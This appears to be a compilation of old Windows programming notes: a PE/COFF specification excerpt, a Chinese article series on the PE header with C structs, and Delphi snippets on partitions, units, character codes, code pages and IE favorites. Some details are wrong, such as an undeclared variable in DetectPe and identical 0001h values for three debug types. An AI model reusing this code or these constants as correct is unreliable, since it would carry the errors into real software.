00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE8

00B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF8

00C0: 00000000 00000000 00000000 00030000 (3 entries in this directory)

00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x178

00D8: 00000001 00000188 (Language ID 1, data desc at offset 0x188

00E0: 00000001 00000198 (Language ID 2, data desc at offset 0x198

00E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

And the data for the resources will look like:

01A8: 00010001

01AC: 10010001

01B0: 00010002

01B4: 00010003

01B8: 00020001

01BC: 00020002

01C0: 00020003

01C4: 00020004

01C8: 00090001

01CC: 00090009

01D0: 10090009

01D4: 20090009

9. Fixup Table

The Fixup Table contains entries for all fixups in the image. The

Total Fixup Data Size in the PE Header is the number of bytes in the

fixup table. The fixup table is broken into blocks of fixups. Each

block represents the fixups for a 4K page.

Fixups that are resolved by the linker do not need to be processed by

the loader, unless the load image can't be loaded at the Image Base

specified in the PE Header.

9.1 Fixup Block

Fixup blocks have the following format:

PAGE RVA

BLOCK SIZE

TYPE/OFFSET

TYPE/OFFSET

TYPE/OFFSET

Figure 20. Fixup Block Format

To apply a fixup, a delta needs to be calculated. The 32-bit delta

is the difference between the preferred base, and the base where the

image is actually loaded. If the image is loaded at its preferred

base, the delta would be zero, and thus the fixups would not have to

be applied. Each block must start on a DWORD boundary. The ABSOLUTE

fixup type can be used to pad a block.

PAGE RVA = DD Page RVA. The image base plus the page rva is added to

each offset to create the virtual address of where the fixup needs to

be applied.

BLOCK SIZE = DD Number of bytes in the fixup block. This includes the

PAGE RVA and SIZE fields.

TYPE/OFFSET is defined as:

1

1

0

5

1

TYPE

OFFSET

Figure 21. Fixup Record Format

TYPE = 4-bit fixup type. This value has the following definitions:

o 0h __ABSOLUTE. This is a NOP. The fixup is skipped.

o 1h __HIGH. Add the high 16-bits of the delta to the 16-bit field

at Offset. The 16-bit field represents the high value of a 32-

bit word.

o 2h __LOW. Add the low 16-bits of the delta to the 16-bit field

at Offset. The 16-bit field represents the low half value of a

32-bit word. This fixup will only be emitted for a RISC machine

when the image Object Align isn't the default of 64K.

o 3h __HIGHLOW. Apply the 32-bit delta to the 32-bit field at

Offset.

o 4h __HIGHADJUST. This fixup requires a full 32-bit value. The

high 16-bits is located at Offset, and the low 16-bits is

located in the next Offset array element (this array element is

included in the SIZE field). The two need to be combined into a

signed variable. Add the 32-bit delta. Then add 0x8000 and

store the high 16-bits of the signed variable to the 16-bit

field at Offset.

o 5h __MIPSJMPADDR.

All other values are reserved.

10. Debug Information

The debug information is defined by the debugger and is not

controlled by the portable EXE format or linker. The only data

defined by the portable EXE format is the Debug Directory Table.

10.1 Debug Directory

The debug directory table consists of one or more entries that have

the following format:

DEBUG FLAGS

TIME/DATE STAMP

MAJOR VERSION

MINOR VERSION

DEBUG TYPE

DATA SIZE

DATA RVA

DATA SEEK

Figure 22. Debug Directory Entry

DEBUG FLAGS = DD Set to zero for now.

TIME/DATE STAMP = DD Time/Date the debug data was created.

MAJOR/MINOR VERSION = DW Version stamp.

This stamp can be used to determine the version of the debug data.

DEBUG TYPE = DD Format type.

To support multiple debuggers, this field determines the format of

the debug information. This value has the following definitions:

o 0001h __Image contains COFF symbolics.

o 0001h __Image contains CodeView symbolics.

o 0001h __Image contains FPO symbolics.

DATA SIZE = DD The number of bytes in the debug data. This is the

size of the actual debug data and does not include the debug

directory.

DATA RVA = DD The relative virtual address of the debug data. This

address is relative to the beginning of the Image Base.

DATA SEEK = DD The seek value from the beginning of the file to the

debug data.

If the image contains more than one type of debug information, then

the next debug directory will immediately follow the first debug

directory.


PE文件格式

PE6.0格式研究 (1)

作者:陆麟

转载请征得作者同意.

1999.8.2

PE6.0首先在一个可执行文件的偏移3ch处有一个指向'PE00'标记的指针.如果没有这个标记.该文件就不是一个PE的文件.下面演示了一个检测PE文件的函数.

/* DetectPe(char *) Written by Lu Lin. 1999.8.2

Only tested on MS complier and linker.

Entery :

parameter *p: point to the file name. eg. "c:\command.com"

return :

true if the file is in PE format.

false if the file is not a PE file.

*/

BOOL DetectPe(char *p){

HANDLE hf; //handle for the file detecting

short ppe; //point to pe signature

long sig; //signature value retrieved

DWORD res; //store ReadFile()'s actual read bytes

hf=CreateFile(p,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,0);

if (hf==INVALID_HANDLE_VALUE){

GetLastError();

return 0;

}

if (!SetFilePointer(hf,0x3c,0,FILE_BEGIN)){

CloseHandle(hf);

return 0;

}

if (!ReadFile(hf,&psig,2,&res,0)){

CloseHandle(hf);

return 0;

}

if (res!=2){

CloseHandle(hf);

return 0;

}

if (!SetFilePointer(hf,(long)psig,0,FILE_BEGIN)){

CloseHandle(hf);

return 0;

}

if (!ReadFile(hf,&sig,4,&res,0)){

CloseHandle(hf);

return 0;

}

if (res!=4){

CloseHandle(hf);

return 0;

}

if (sig!=0x4550) return 0;

return 1;

}

PE6.0格式研究 (2) SP1

作者:陆麟

转载请征得作者同意.

1999.8.11

PATCHED 8.16

--------------------------------------------------------------------------------

今天给出PE SIGNATURE后的数据结构.那就是COFF文件头.这里有一些关键的东西.有些很简单.我加了英文注解,有些简单得连注解也不需要.

这个数据结构是我写的PE分析器的一部分,现在先拿来大家看:)我的PE分析器写到哪里,本文就写到哪里:)

typedef struct {

WORD Machine; //Target Machine Type

WORD NumberOfSections; //Number of Sections

DWORD TimeDateStamp; //Creation Time

DWORD PointerToSymbolTable; // Point to Symbol Table

DWORD NumberOfSymbols; //Number of Symbol Table Entry

WORD SizeOfOpitionalHeader; //

WORD Characteristics; //

}CoffHead,*pCoffHead;

MACHINE如果是14ch,就是可以运行在INTEL386以上CPU的两进制文件.其他的似乎没什么用.如184h for alpha, 284h for alpha64,268h for motorola,1f0h for power pc...,有关该处的定义如果有人需要,问我要吧,或者自己到微软去下载.

Characteristics

IMAGE_FILE_RELOCS_STRIPPED 0x0001

Image only, Windows CE, Windows NT and above.表示本PE文件不可以重定位.

IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 Image only. 表示文件可用.如果为0,一般是LINK时出问题了.

IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 COFF 行号被删除标志.

IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 没有符号表.

IMAGE_FILE_AGGRESSIVE_WS_TRIM 0x0010 不懂.

IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 应用程序能处理 > 2gb 地址.该功能是从NTSP3开始被支持.因为大部分的数据库服务器需要很大的内存,而NT仅提供2G给应用程序.从NTSP3开始,通过加载/3GB参数,可以使应用程序分配到2G->3G区域的地址.而该处原先是属于系统内存区.该功能在NTSP3的MSDN版公开,但是好象其他文档里尚没有公开.

IMAGE_FILE_16BIT_MACHINE 0x0040 reserved.

IMAGE_FILE_BYTES_REVERSED_LO 0x0080 Little endian: LSB precedes MSB in memory.

IMAGE_FILE_32BIT_MACHINE 0x0100 目标平台为32位机器.

IMAGE_FILE_DEBUG_STRIPPED 0x0200 没有DEBUG信息.

IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 如果程序在软盘上,就从SWAP区运行.

IMAGE_FILE_SYSTEM 0x1000 表明本程序是系统文件,非应用程序.

IMAGE_FILE_DLL 0x2000 映象是个DLL.

IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 仅可运行在单处理器的机器上.

IMAGE_FILE_BYTES_REVERSED_HI 0x8000 Big endian: MSB precedes LSB in memory.

(此次SP1补充了上次忘记了的特征值.)

PE6.0格式研究 (3)

作者:陆麟

转载请征得作者同意.

1999.8.17

--------------------------------------------------------------------------------

今天我的PE分析器写完了COFFHEAD部分.接下来也该写点东西给主页了:)

在COFFHEAD下面有一个至关重要的数字.这个数字乃6.0和以前PE格式的根本去别的识别字.

先说说MS可执行文件的限制.MS对一个WIN32可执行文件的大小限制为4G.当然是根据该文件所需分配内存为计算条件.包括代码,数据,栈,线程局部存储...但是目前的WIN32平台包括9X和NT4,都给了应用程序不到2G的可用空间.(NT4SP3开始,如果应用程序标志位IMAGE_FILE_LARGE_ADDRESS_AWARE为1的话,系统将给应用程序近3G的可用空间.)那么如果一个应用程序映象真的要4G,岂非大是糟糕.这样的程序尽管符合规范,但是却永远运行不起来.现在,MS为了新的64位OS已经打好准备.应用程序映象可以真正达到4G,而且可以用64位地址了.

这个标志就在于紧接于COFFHEAD后的2字节里.当年如果该处值为10BH的话,就说明字节的确是个PE32文件.而现在MS扩展了该处的含义.如果该处值为20BH,就说明本文件是个PE32增强文件.

也就是说:

本程序可能用了64位的地址指针,而且标志位后面的数据格式不同于老的PE32文件了.

在该标志位后乃是OPTIONAL HEADER.所有的可执行文件都必须有一个这样的头,将对可执行映象定位起到决定性的作用.而OBJ文件可以有,但是通常情况下,该OPTIONAL HEADER没有功能.

在规范里,老PE32可选头的大小为224字节.而增强PE32的可选头的大小为240字节.该处大小有COFFHEAD偏移16字节处的WORD决定.

关于可选头的详细细节且听下回分解

PE6.0格式研究 (4)

作者:陆麟

转载请征得作者同意.

1999.8.28

PATCHED 1999.9.29

--------------------------------------------------------------------------------

太忙,太忙,实在没空写程序,但是还是要搞点东西出来.

PE文件在COFF头之后就是可选头.在可选头里的第一个项,上次已经讲过了.在整个可选头里,尽管PE32和PE32+的结构是不同的,但还是有少量字段是相同的,写个结构,可以在写程序的时候省点力气.下面给出PE32和PE32+相同的部分.

typedef struct {

WORD Magic; //0x10b if pe32,0x20b if pe64,0x107 if rom image

BYTE MajorLinkerVersion; //

BYTE MinorLinkerVersion; //

DWORD SizeOfCode; //

DWORD SizeOfInitializedData; //

DWORD SizeOfUninitializedData; //BSS section's size

DWORD AddressOfEntryPoint; //Entrypoint relative to image base

DWORD BaseOfCode; //

__int64 ImageBase; //If pe32, ImageBase>>32 is BaseOfData,

//Imagebase&0xffff is ImageBase.

DWORD SectionAlign; //When load into memory, each section align to

DWORD FileAlign; //File alignment in byte.

WORD MajorOSV; //Major Target OS Version

WORD MinorOSV; //Minor Target OS Version

WORD MajorImageVer; //

WORD MinorImageVer; //

WORD MajorSV; //Major subsystem version

WORD MinorSV; //Minor subsystem version

DWORD UNKNOW;

DWORD SizeOfImage; //

DWORD SizeOfHeards; //Size of dos-stub+PE header+section headers

DWORD CheckSum; //

WORD Subsystem;

WORD DLL_Characteristics;

}_CommOptHead,*pCommOptHead;

结果应该没什么问题,因为我已经加了英文注解.其中唯一需要强调的是ImageBase字段.这个数据在PE32+里是个64位数据(__int64是MS VC编译器提供的便捷方法,标注一个64位值),在PE32里是2个值:DWORD BASEOFDATA, DWORD IMAGEBASE. 由于BASEOFDATA数据并没有什么用,所以在规范里被删除了.其实老实说,连BASEOFCODE也没什么用的.因为PE LOADER会自动识别所有的SECTION.因为在SECTION HEADER里含有所有有关程序运作的必须描述.关于如何使用IMAGEBASE的方法,我在结构里的说明里已经写了,请自己看.结构中AddressOfEntryPoint是真正的程序入口点.通常情况下,它指向CRTL的启动代码库.当然,可以手工修改.具体方法请参照所用的编译器的说明.CIH病毒就是更改了这里,指向病毒代码,使自己被加载.当自己被加载后,才跳转到原代码开始处.

这回就说到这里,且听下会分解.

PE6.0格式研究 (5)

作者:陆麟

转载请征得作者同意.

1999.9.12

--------------------------------------------------------------------------------

PE分析被拖延了一段时间(给女朋友闹的:-)).今天又开始了.

完整的PE32或PE32+可选头结构如下.

typedef struct {

_CommOptHead CommOptHead;

unsigned __int64 SizeOfStackReserve;

unsigned __int64 SizeOfStackCommit;

unsigned __int64 SizeOfHeapReserve;

unsigned __int64 SizeOfHeapCommit;

DWORD USELESS;

DWORD NumberOfDataEntry;

_IMG_DATA_DIR ImgDataDir[0]; //Do remember ImgDataDir

//probably doesn't contents

//16 entries. The number of

//entery depends on field

//NumberOfDataEntry

}OptHead64,*pOptHead64;

typedef struct {

_CommOptHead CommOptHead;

DWORD SizeOfStackReserve;

DWORD SizeOfStackCommit;

DWORD SizeOfHeapReserve;

DWORD SizeOfHeapCommit;

DWORD USELESS;

DWORD NumberOfDataEntry;

_IMG_DATA_DIR ImgDataDir[0];

}OptHead32,*pOptHead32;

OptHead64是PE32+的可选头结构.另一个是PE32的.里面也没什么可以多解释的了.

_IMG_DATA_DIR结构如下.

typedef struct {

PEIMAGE_DATA_DIRECTORY ExpTbl; //Export Table RVA and size

PEIMAGE_DATA_DIRECTORY ImpTbl; //Import ..................

PEIMAGE_DATA_DIRECTORY ResTbl; //Resources ...............

PEIMAGE_DATA_DIRECTORY ExcptTbl; //Execption ...........

PEIMAGE_DATA_DIRECTORY CrtfTbl; //Certificate .........

PEIMAGE_DATA_DIRECTORY BaseRelocTbl;

PEIMAGE_DATA_DIRECTORY DbgTbl;

PEIMAGE_DATA_DIRECTORY Architecture;

PEIMAGE_DATA_DIRECTORY GlobalPtr;

PEIMAGE_DATA_DIRECTORY TlsTbl;

PEIMAGE_DATA_DIRECTORY LoadConfigTbl;

PEIMAGE_DATA_DIRECTORY BoundImpTbl;

PEIMAGE_DATA_DIRECTORY IAT; //Import Address ..........

PEIMAGE_DATA_DIRECTORY DelayImpDes;

PEIMAGE_DATA_DIRECTORY COMRT_H; //COM+ runtime header..

PEIMAGE_DATA_DIRECTORY RESERVED;

}_IMG_DATA_DIR,*pIMG_DATA_DIR;

由于没有硬性规定_IMG_DATA_DIR一定要含有16个PEIMAGE_DATA_DIRECTORY结构.所以真正的PEIMAGE_DATA_DIRECTORY数目一定是按照NumberOfDataEntry来的.如果NumberOfDataEntry显示数字是8,那么8个PEIMAGE_DATA_DIRECTORY之后就是其他数据结构了.但是,目前所有的LINKER都将NumberOfDataEntry设置为16,所以,我在PE32X的OPTNL头文件里提供的数据还是一个_IMG_DATA_DIR结构.但长度为0.

经管没有PEIMAGE_DATA_DIRECTORY数量的规定,但是_IMG_DATA_DIR结构里的PEIMAGE_DATA_DIRECTORY出现的顺序却是有规矩的.规矩就如上.第一个代表引出表,第二个代表引入表等等.每个PEIMAGE_DATA_DIRECTORY的结构如下.

typedef struct {

DWORD RVA;

DWORD SIZE;

}PEIMAGE_DATA_DIRECTORY,*pPEIMAGE_DATA_DIRECTORY;

这回就说到这里,且听下会分解.

PE6.0格式研究 (6)

作者:陆麟

转载请征得作者同意.

1999.9.13

--------------------------------------------------------------------------------

typedef struct {

PEIMAGE_DATA_DIRECTORY ExpTbl; //Export Table RVA and size

PEIMAGE_DATA_DIRECTORY ImpTbl; //Import ..................

PEIMAGE_DATA_DIRECTORY ResTbl; //Resources ...............

PEIMAGE_DATA_DIRECTORY ExcptTbl; //Execption ...........

PEIMAGE_DATA_DIRECTORY CrtfTbl; //Certificate .........

......

}_IMG_DATA_DIR,*pIMG_DATA_DIR;

这个结构是上次就公开了的.想来还有部分东西要讲解.

ExpTbl如果存在的话,将是一个.data SECTION的RVA. RVA是相对于HMODULE的偏移.例如RVA 1000H,HMOD为400000,实际内存里的地址为401000H.使用RVA的原因是为了在MODULE重定位时减少麻烦.有关SECTION的概念将在以后讲到.因为接下来要写的结构就是有关SECTION的.

ImpTbl如果存在,将指向.idata节.同样也是RVA.还有TLSTBL等,都是RVA.

强调是RVA就意味者他们并不一定是相对于文件开始的偏移.当然,在实际编程中,90%的情况下RVA其实和文件偏移是相等的.但是,由于文件对齐和内存定位对齐可能不同,而且CPU的页对齐和文件对齐也并不一定相同,所以,在实际编程中一定要将RVA-SECTION RAW DATA后得出的偏移才是正确的偏移.

单纯地得到COFF OPTIONAL HEADER里的RVA是没有用的.因为他不是文件内部的指针.所以尽管PE文件头提供了这些信息,这些信息却只有在PE文件被映射到进程的地址空间里才有用.说到这里,另外要说的就是.HMOD所指向的数据结构其实就是这里公开的所有的数据结构加上以后要讲的SECTION结构.

这回就说到这里,且听下会分解.

PE6.0格式研究 (7)

作者:陆麟

转载请征得作者同意.

1999.9.19

--------------------------------------------------------------------------------

今天要讲SECTION_TABLE结构了.它的结构定义为:

typedef struct {

char Name[8];

DWORD VirtualSize;

DWORD VirtualAddress;

DWORD SizeOFRawData;

DWORD pRawData;

DWORD pRelocations;

DWORD pLineNumber;

WORD NumberOfRelocations;

WORD NumberOfLineNumbers;

DWORD SecFlag;

}SECTION_TABLE,*pSECTION_TABLE;

在PE的可执行文件里,Name永远是小于等于8字节长的.如果名字少于8字节,后面就以0填满.如果正好名字是8字节.那么后面就连1个0也不填.紧跟VirtualSize. 在NT,9X下.有几个名字是保留的.他们的命名有关于系统将来的运作.以下是列表.

.arch 存储ALPHA架构信息.

.bss 未初始化数据

.data 初始化数据

.edata 引出函数表

.idata 引入函数表

.pdata EXECPTION信息

.rdata 只读数据

.reloc 重定位

.rsrc 资源目录

.text 可执行代码段

.tls 局部线程存储

.xdata EXECPTION信息

他们都对应于固定的SECTION FLAG.而且,系统的运行依赖于他们的存在或收到影响.例如TLS,TLS信息里有个有关CALLBACK的项.尽管目前没有任何编译器支持TLS的CALLBACK.但是MS还是为将来保留了TLS CALLBACK功能.

好今天先讲到这里.从下回开始要分析另外的关键数据结构:引入/引出函数表了.欢迎观赏:D

PE6.0格式研究 (8)

作者:陆麟

转载请征得作者同意.

1999.9.30

--------------------------------------------------------------------------------

上次说到PE的节.最近由于搞了点其他KERNEL MODE的东西,PE分析器就没写下去,国庆节我要出门,主页无法更新,所以想趁出门前先贴点东西,免得大家等得失望. :)

就讲解一下节里的部分东西吧!

先讲.edata引出函数表吧.

这个表现在已经基本被废弃了.只有老式的编译器还使用它.大家可以发现.用WIN9X自己带的QUICKVIEW能够看到引出函数或引入函数的DLL已经很少了.为什么.就是因为现在的VC5,6已经不使用该表了.现在的PE文件里,通过PEIMAGE_DATA_DIRECTORY ExpTbl来查找文件的引出函数表.而该指针指向的RVA其实就是文件里的偏移.

有时候我们能够发现,有些函数尽管被引出了,但是却没有函数名.(那是MS常干的事.隐藏调一些关键API.争取自己软件写作上的优势.)这时,历遍函数名称要千万注意,要用引出函数计数来确定到底有多少个被引出的函数是有名字的.哪些没名字的只好用序数调用了.(注意,KERNEL32.DLL里的隐藏API调用需要有些小技巧,这些技巧在MATT的WIN95系统编程奥秘里已经公开了.我就不罗嗦了.)

好了,我要再写个系统类的文章,这里就先止住了.


分区表数据结构

struct fdisk_partition {

unsigned char bootid; /* bootable? 0=no, 128=yes */

unsigned char beghead; /* beginning head number */

unsigned char begsect; /* beginning sector number */

unsigned char begcyl; /* 10 bit nmbr, with high 2 bits put in begsect */

unsigned char systid; /* Operating System type indicator code */

unsigned char endhead; /* ending head number */

unsigned char endsect; /* ending sector number */

unsigned char endcyl; /* also a 10 bit nmbr, with same high 2 bit trick

*/

int relsect; /* first sector relative to start of disk */

int numsect; /* number of sectors in partition */

};


像素值如何转换为毫米值

水平方向：

mm:= Pixel / GetDeviceCaps(Canvas.Handle, LOGPIXELSX) * 25.4;

垂直方向：

mm:= Pixel / GetDeviceCaps(Canvas.Handle, LOGPIXELSY) * 25.4;

厘米数 = 像素数 / dpi * 2.54，

像素转化厘米对于显示器没意义，只有对打印机这类的输出设备才有意义。

600 dpi的打印机和1200dpi的打印机都打印一个1000像素的直线他们长度是不同的。

如果我想要把屏幕上点与点的距离转为厘米有什么好的方法呢!

回复人： ttxm(耳朵) ( ) 信誉：100 2002-12-27 18:03:00 得分:0

没有特别好的办法，思路同pazee(耙子)说的一样？

代码如下(是毫米)：

function getmmScreen:TPoint;

var

p1:TPoint;

begin

p1.X:=GetDeviceCaps(frmSize.Canvas.Handle,HORZSIZE);

p1.Y:=GetDeviceCaps(frmSize.Canvas.Handle,VERTSIZE);

Result:=p1;

end;funCtion getPixelScreen:TPoint;

var

p1:TPoint;

begin

p1.X:=screen.Width;

p1.Y:=screen.Height;

result:=p1;

end;

procedure TfrmSize.mmToPix;

begin

mmTopixX:=getPixelScreen.X / getMMScreen.X ;

mmTopixY:=getPixelScreen.Y / getMMScreen.Y ;

end;


汉字内码

内码: Ord(strHZ[1])*$100 + Ord(strHZ[2])

输入一个汉字得到是它的内码,由两个字节组成,两个字节分别减去A0H(160),得到的前一个字节是区,后一个字节是位,算该字在16点阵字库中的位置时,((区-DD)*98+位)*32,32指每个16点阵汉字32字节.注意:有些字库前16区省略一些无用的区故要减去DD.公式给的不一定完全正确,

汉字2312的字库

是87区,每区94个汉字,1-9区是标点,制表符号,日文X假名等,10-15空,16-55是汉字

一级字库(常用),5590-5594空.56区到87区是二级字库.共6763个中文.

16*16点阵字库就是32字节一个字.但不同的16*16点阵字库的

排列方法不一定一样,如UCDOS和CCDOS,有的还把10-15区空的压缩了.

机内码就是你在DELPHI中获得的输入的汉字字符.比如:"啊"的16进制表示.

区码 := (机内码高8位-$A0);

位码 := (机内码低8位-$A0);

偏移量 := ((区码-1)*94+(位码-1))*32

注意区码和位码是以1为开始的.


金额的格式化

如何把一个数值变成一个本地的金额字符串？

function GetCurrency(number: PChar): string;

var

tmpStr: string;

begin

SetLength(tmpStr, 255);

GetCurrencyFormat(LOCALE_SYSTEM_DEFAULT, 0, number, nil, PChar(tmpStr), Length(tmpStr));

Result := tmpStr;

end;

// Beispiel: Example:

procedure TForm1.Button1Click(Sender: TObject);

begin

Application.MessageBox(PChar(GetCurrency(PChar(Edit1.Text))), '', MB_OK);

end;


利用IE的多语言动态库实现程序中多语言的自由切换

利用IE的多语言动态库实现程序中多语言的自由切换

All Systems (Win 95+ and WinNT4+) with MS Internet Explorer 4 and newer have a library named mlang.dll in the Winntdirectory. Usually you can tell Delphi to simply import these COM Libraries. This one however, Delphi did not. I started to convert the "most wanted" interface for myself. The results I present you here.

First I give you the code for the conversion unit, that allows you simply convert any text from code page interpretation into another one. Following I will shortly discuss the code and give you a sample of how to use it.

uCodePageConverter

==================

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

*

* Unit Name : uCodePageConverter

* Autor : Daniel Wischnewski

* Copyright : Copyright &copy; 2002 by gate(n)etwork. All Right Reserved.

* Urheber : Daniel Wischnewski

*

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit uCodePageConverter;

interface

uses

Windows;

const

IID_MLangConvertCharset: TGUID = '{D66D6F98-CDAA-11D0-B822-00C04FC9B31F}';

CLASS_MLangConvertCharset :TGUID = '{D66D6F99-CDAA-11D0-B822-00C04FC9B31F}';

type

tagMLCONVCHARF = DWORD;

const

MLCONVCHARF_AUTODETECT: tagMLCONVCHARF = 1;

MLCONVCHARF_ENTITIZE : tagMLCONVCHARF = 2;

type

tagCODEPAGE = UINT;

const

CODEPAGE_Thai : tagCODEPAGE = 0874;

CODEPAGE_Japanese : tagCODEPAGE = 0932;

CODEPAGE_Chinese_PRC : tagCODEPAGE = 0936;

CODEPAGE_Korean : tagCODEPAGE = 0949;

CODEPAGE_Chinese_Taiwan : tagCODEPAGE = 0950;

CODEPAGE_UniCode : tagCODEPAGE = 1200;

CODEPAGE_Windows_31_EastEurope : tagCODEPAGE = 1250;

CODEPAGE_Windows_31_Cyrillic : tagCODEPAGE = 1251;

CODEPAGE_Windows_31_Latin1 : tagCODEPAGE = 1252;

CODEPAGE_Windows_31_Greek : tagCODEPAGE = 1253;

CODEPAGE_Windows_31_Turkish : tagCODEPAGE = 1254;

CODEPAGE_Hebrew : tagCODEPAGE = 1255;

CODEPAGE_Arabic : tagCODEPAGE = 1256;

CODEPAGE_Baltic : tagCODEPAGE = 1257;

type

IMLangConvertCharset = interface

['{D66D6F98-CDAA-11D0-B822-00C04FC9B31F}']

function Initialize(

uiSrcCodePage: tagCODEPAGE; uiDstCodePage: tagCODEPAGE;

dwProperty: tagMLCONVCHARF

): HResult; stdcall;

function GetSourceCodePage(

out puiSrcCodePage: tagCODEPAGE

): HResult; stdcall;

function GetDestinationCodePage(

out puiDstCodePage: tagCODEPAGE

): HResult; stdcall;

function GetProperty(out pdwProperty: tagMLCONVCHARF): HResult; stdcall;

function DoConversion(

pSrcStr: PChar; pcSrcSize: PUINT; pDstStr: PChar; pcDstSize: PUINT

): HResult; stdcall;

function DoConversionToUnicode(

pSrcStr: PChar; pcSrcSize: PUINT; pDstStr: PWChar; pcDstSize: PUINT

): HResult; stdcall;

function DoConversionFromUnicode(

pSrcStr: PWChar; pcSrcSize: PUINT; pDstStr: PChar; pcDstSize: PUINT

): HResult; stdcall;

end;

CoMLangConvertCharset = class

class function Create: IMLangConvertCharset;

class function CreateRemote(const MachineName: string): IMLangConvertCharset;

end;

implementation

uses

ComObj;

{ CoMLangConvertCharset }

class function CoMLangConvertCharset.Create: IMLangConvertCharset;

begin

Result := CreateComObject(CLASS_MLangConvertCharset) as IMLangConvertCharset;

end;

class function CoMLangConvertCharset.CreateRemote(

const MachineName: string

): IMLangConvertCharset;

begin

Result := CreateRemoteComObject(

MachineName, CLASS_MLangConvertCharset

) as IMLangConvertCharset;

end;

end.

As you can see, I did translate only one of the many interfaces, however this one is the most efficient (according to Microsoft) and will do the job. Further I added some constants to simplify the task of finding the most important values.

When using this unit to do any code page conersions you must not forget, that the both code pages (source and destination) must be installed and supported on the computer that does the translation. OIn the computer that is going to show the result only the destination code page must be installed and supported.

To test the unit simple create a form with a memo and a button. Add the following code to the buttons OnClick event. (Do not forget to add the conversion unit to the uses clause!)

SAMPLE

======

procedure TForm1.Button1Click(Sender: TObject);

var

Conv: IMLangConvertCharset;

Source: PWChar;

Dest: PChar;

SourceSize, DestSize: UINT;

begin

// connect to MS multi-language lib

Conv := CoMLangConvertCharset.Create;

// initialize UniCode Translation to Japanese

Conv.Initialize(CODEPAGE_UniCode, CODEPAGE_Japanese, MLCONVCHARF_ENTITIZE);

// load source (from memo)

Source := PWChar(WideString(Memo1.Text));

SourceSize := Succ(Length(Memo1.Text));

// prepare destination

DestSize := 0;

// lets calculate size needed

Conv.DoConversionFromUnicode(Source, @SourceSize, nil, @DestSize);

// reserve memory

GetMem(Dest, DestSize);

try

// convert

Conv.DoConversionFromUnicode(Source, @SourceSize, Dest, @DestSize);

// show

Memo1.Text := Dest;

finally

// free memory

FreeMem(Dest);

end;

end;


收藏夹函数

Dll 文件：shdocvw.dll

procedure DoOrganizeFavDlg(h:hwnd;path:pchar);stdcall;external 'shdocvw.dll';

第二个参数指定收藏夹的位置，如果第二个参数为Nil的话，默认IE得收藏夹位置。

AddUrlToFavorites

DoAddToFavDlg

DoAddToFavDlgW

DoFileDownload

DoFileDownloadEx

DoOrganizeFavDlgW

SHAddSubscribeFavorite

SetShellOfflineState

SoftwareUpdateMessageBox

//添加到收藏夹

const

CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

var

ShellUIHelper: ISHellUIHelper;

url, title: Olevariant;

begin

url:='www.csdn.net'

title:='中国软件'

ShellUIHelper :=CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;

ShellUIHelper.AddFavorite(url, title);

end;

//整理收藏

var

H: HWnd;

p: procedure(Handle: THandle; Path: PChar); stdcall;

begin

H := LoadLibrary(PChar('shdocvw.dll'));

if H <> 0 then

begin

p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));

if Assigned(p) then p(Application.Handle, PChar(favpath));

end;

FreeLibrary(h);

end;

---------

导出收藏夹

在VB中选择菜单的Project | References 选项，在References对话框中选择Microsoft Internet Controls项，然后在程序中加入以下语句：

Dim dc As New SHDocVw.ShellUIHelper

dc.ImportExportFavorites False, "c:.html"

Set dc = Nothing

就可以将收藏夹导出到 c:.htm 中了，如果要从文件导入到收藏夹，只要将上面的False改为True，将"c:.html"改为要导入的文件名就可以了。

---------------------------------------

添加到收藏夹和整理收藏夹

         const

          CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

        var

          p:procedure(Handle: THandle; Path: PChar); stdcall;

        procedure TForm1.OrganizeFavorite(Sender: Tobject);

        var

          H: HWnd;

        begin

          H := LoadLibrary(PChar('shdocvw.dll'));

          if H <> 0 then

          begin

        p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));

            if Assigned(p) then p(Application.Handle, PChar(FavFolder));

          end;

          FreeLibrary(h);

        end;

